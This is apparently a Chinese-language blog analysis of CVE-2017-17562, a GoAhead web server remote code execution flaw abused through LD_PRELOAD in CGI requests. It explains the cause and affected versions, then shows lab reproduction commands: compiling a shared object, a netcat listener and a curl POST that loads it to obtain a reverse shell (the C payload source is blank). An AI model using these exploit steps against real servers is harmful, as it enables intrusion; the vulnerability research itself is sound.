JavaScript学习
GoAhead漏洞分析
GoAhead简介
GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server,多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序,这个漏洞就出现在运行CGI程序的时候。
CVE-2017-17562 GoAhead远程代码执行漏洞分析
漏洞简介
CVE-2017-17562是一个远程命令执行漏洞
影响的版本若启用了CGI并动态链接了CGI程序的话,则可导致远程代码执行
漏洞的原因在于cgi.c的cgiHandler函数使用了不可信任的HTTP请求参数初始化CGI脚本的环境
可使用环境变量(LD_PRELOAD),利用glibc动态链接器加载任意程序实现远程代码执行
影响版本
受影响的GoAhead版本为2.5.0
到3.6.4
之间
漏洞分析
漏洞点存在于cgiHandler
中
漏洞的原因在于cgi.c的cgiHandler函数使用了不可信任的HTTP请求参数初始化CGI脚本的环境
没有对传入的数据进行检查,使得最终execve
启动新进程执行cgi程序时的环境变量envp
数组可控
漏洞利用
首先是如何利用envp
环境变量数组,可以使用LD_PRELOAD
这个变量
1 |
|
编译出demo.so,执行命令LD_PRELOAD=./demo.so whoami
进行测试
因此如果我们可以上传文件为so,并指定LD_PRELOAD
环境变量,即可实现任意代码执行
漏洞复现
在本地使用vulhub搭建测试环境
使用如下用于动态加载的so
1 |
|
编译命令
1 | gcc -shared -fPIC ./exp.c -o exp.so |
1 | nc -lvnp 7777 |
执行poc:
1 | curl -X POST --data-binary @exp.so http://192.168.195.128/cgi-bin/index\?LD_PRELOAD\=/proc/self/fd/0 |
即可弹shell
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Em4non's Blog!